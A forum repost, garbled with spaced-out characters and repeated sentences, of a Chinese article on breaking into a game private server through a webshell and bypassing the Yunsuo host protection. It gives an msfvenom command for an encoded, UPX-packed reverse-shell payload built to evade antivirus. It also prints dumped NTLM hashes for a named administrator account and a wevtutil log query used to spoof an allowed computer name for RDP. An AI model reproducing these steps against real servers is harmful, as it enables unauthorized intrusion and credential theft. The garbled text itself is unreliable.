搜索

[13057] 2018-08-13_“撬锁”实战：绕过云锁提权某游戏私服

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2018-08-13_“撬锁”实战：绕过云锁提权某游戏私服 “ 撬 锁 ” 实 战 ： 绕 过 云 锁 提 权 某 游 戏 私 服 道 恩 先 生 6 6 6   F r e e B u f   2 0 1 8 - 0 8 - 1 3 严 正 声 明 ： 本 文 仅 限 于 技 术 讨 论 与 分 享 ， 严 禁 用 于 非 法 途 径 严 正 声 明 ： 本 文 仅 限 于 技 术 讨 论 与 分 享 ， 严 禁 用 于 非 法 途 径 前 言 前 言 朋 友 给 我 了 我 一 个 游 戏 私 服 的 朋 友 给 我 了 我 一 个 游 戏 私 服 的 s h e l l ， 说 是 提 权 不 下 服 务 器 ， 让 我 帮 忙 看 看 。 本 文 仅 为 大 家 提 供 一 个 思 路 ， 这 个 ， 说 是 提 权 不 下 服 务 器 ， 让 我 帮 忙 看 看 。 本 文 仅 为 大 家 提 供 一 个 思 路 ， 这 个 方 法 可 能 很 多 人 知 道 但 是 并 没 有 公 布 到 网 络 。 我 今 天 写 出 来 只 是 为 了 让 小 白 们 少 走 一 点 弯 路 ， 开 拓 一 下 思 路 ， 方 法 可 能 很 多 人 知 道 但 是 并 没 有 公 布 到 网 络 。 我 今 天 写 出 来 只 是 为 了 让 小 白 们 少 走 一 点 弯 路 ， 开 拓 一 下 思 路 ， 还 请 大 牛 勿 喷 。 还 请 大 牛 勿 喷 。 请 注 意 ： 本 次 测 试 已 经 通 知 管 理 员 并 已 帮 助 其 修 复 漏 洞 ！ 背 景 背 景 朋 友 给 我 了 我 一 个 游 戏 私 服 的 s h e l l ， 说 是 提 权 不 下 服 务 器 ， 让 我 帮 忙 看 看 。 无 形 之 锁 无 形 之 锁 连 接 上 s h e l l 以 后 执 行 w h o a m i ： 一 看 2 0 0 8 的 服 务 器 ， 直 接 就 是 s y s t e m 权 限 ， 心 里 还 想 着 这 有 什 么 不 好 提 的 。 当 然 既 然 朋 友 说 提 不 下 ， 肯 定 没 有 那 么 简 单 。 执 行 t a s k l i s t   / s v c   查 看 运 行 中 的 任 务 列 表 ：
发 现 有 云 锁 。 执 行 n e t   u s e r 查 看 系 统 用 户 ： 发 现 云 锁 禁 用 了 n e t 。 老 司 机 都 知 道 ， 如 果 是 安 全 狗 就 好 办 ， 只 要 是 默 认 的 设 置 ， 找 个 可 读 可 写 可 执 行 的 目 录 上 传 一 个 n e t . e x e 即 可 。 但 是 云 锁 在 这 方 面 要 比 安 全 狗 高 明 一 点 ， 你 无 论 传 到 哪 个 目 录 都 是 不 可 以 被 执 行 的 。 本 着 严 谨 求 实 的 态 度 ， 我 还 是 传 一 下 试 试 ： 不 出 所 料 ， 换 思 路 。 撬 撬 “ 锁 锁 ” 之 路 之 路 其 实 n e t 被 禁 用 了 没 有 关 系 ， 毕 竟 咱 们 是 s y s t e m 权 限 ， 可 以 直 接 把 管 理 员 的 账 号 密 码 给 读 取 出 来 。
云 锁 终 究 是 服 务 器 防 护 软 件 ， 兼 有 杀 毒 的 功 能 ， 如 果 是 默 认 设 置 ， g e t p a s s w o r d 的 e x p 在 执 行 过 程 中 会 被 拦 截 。 本 着 严 谨 求 实 的 态 度 ， 我 还 是 读 一 下 试 试 ： 果 然 一 片 空 白 。 但 是 毕 竟 云 锁 可 能 更 偏 重 于 w e b 应 用 的 防 护 ， 对 于 可 执 行 文 件 的 杀 毒 效 果 远 远 不 如 3 6 0 卫 士 之 类 。 我 们 可 以 用 m s f 多 次 编 码 并 且 加 壳 生 成 一 个 相 对 免 杀 云 锁 的 后 门 。 具 体 的 免 杀 思 路 我 就 不 再 赘 述 ， f r e e b u f 以 前 发 过 类 似 的 文 章 。 我 在 这 里 执 行 的 命 令 如 下 ： 然 后 用 u p x 加 个 壳 ： 传 到 目 标 服 务 器 上 ， 执 行 。 然 后 开 始 在 m s f 上 监 听 ： 用 m s f 执 行 下 命 令 ： m s f v e n o m   - a   x 8 6   - - p l a t f o r m   w i n   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p L H O S T = x x x x x   L P O R T = x x x x   - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   5   - f   e x e   >   / r o o t / t e s t t e s t . e x e u p x   - 6   / r o o t / t e s t t e s t . e x e
确 认 是 目 标 机 。 反 弹 出 来 照 样 调 用 不 了 n e t 。 上 h a s h d u m p ： 结 果 如 下 ： 看 来 管 理 员 名 称 为 ： w u h u i j u n 。 解 密 h a s h ： w u h u i j u n : 5 0 0 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 5 e b 5 f 6 9 2 2 2 4 0 0 5 c f d 3 1 6 b 8 4 f 7 d 4 5 9 d 0 6 : : : G u e s t : 5 0 1 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 3 1 d 6 c f e 0 d 1 6 a e 9 3 1 b 7 3 c 5 9 d 7 e 0 c 0 8 9 c 0 : : :
密 码 到 手 。 然 后 就 开 开 心 心 去 连 接 m s t s c 。 远 程 端 口 是 默 认 的 3 3 8 9 ： 看 到 这 个 界 面 ， 心 里 一 阵 激 动 。 然 而 事 情 并 没 有 那 么 简 单 。
对 方 设 置 了 计 算 机 名 限 制 。 可 能 很 多 人 到 这 里 就 会 被 卡 住 放 弃 。 因 为 如 果 是 安 全 狗 的 话 大 家 都 知 道 去 替 换 他 保 存 计 算 机 名 的 配 置 文 件 ， 但 是 云 锁 的 话 并 没 有 这 个 操 作 。 重 点 思 路 就 在 这 里 ： 因 为 我 们 毕 竟 已 经 是 s y s t e m 权 限 了 ， 我 们 除 了 关 闭 云 锁 几 乎 无 所 不 能 ； 那 么 我 们 只 要 想 办 法 弄 到 管 理 员 登 录 的 计 算 机 名 就 可 以 了 。 W i n d o w s 上 以 文 本 形 式 输 出 用 户 登 录 日 志   （ 1 0 0 条 数 目 作 为 数 量 限 制 ） 的 命 令 如 下 ： 导 出 后 然 后 保 存 到 本 地 查 看 。 远 程 登 录 的 类 型 为 3 ， 我 们 只 需 要 查 找 类 型 为 3 的 日 志 ： w e v t u t i l . e x e   q e   s e c u r i t y   " / q : * [ S y s t e m   [ ( E v e n t I D = 4 6 2 4 ) ] ] " / f : t e x t   / r d : t r u e   / c : 1 0 0   >   c : s y s . t x t
可 以 看 到 ， 允 许 远 程 登 录 的 计 算 机 名 为 P C - 2 0 1 8 0 5 2 5 E F U P 。 接 下 来 就 是 修 改 本 地 计 算 机 名 ： 保 存 重 启 电 脑 ， 然 后 去 连 接 服 务 器 。 成 功 登 录 ：
总 结 总 结 其 实 思 路 并 不 难 , 兵 来 将 挡 水 来 土 掩 , 学 会 把 手 中 的 权 限 利 用 到 极 致 。 本 次 测 试 仅 仅 作 为 学 习 ， 漏 洞 已 经 提 交 给 管 理 员 ， 请 勿 用 于 非 法 用 途 ， 所 产 生 的 一 切 后 果 与 作 者 无 关 。 文 章 如 果 有 问 题 ， 欢 迎 大 家 及 时 指 正 ， 如 果 有 什 么 新 的 想 法 也 欢 迎 与 我 交 流 ！ * 本 文 作 者 ： 道 恩 先 生 本 文 作 者 ： 道 恩 先 生 6 6 6 ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理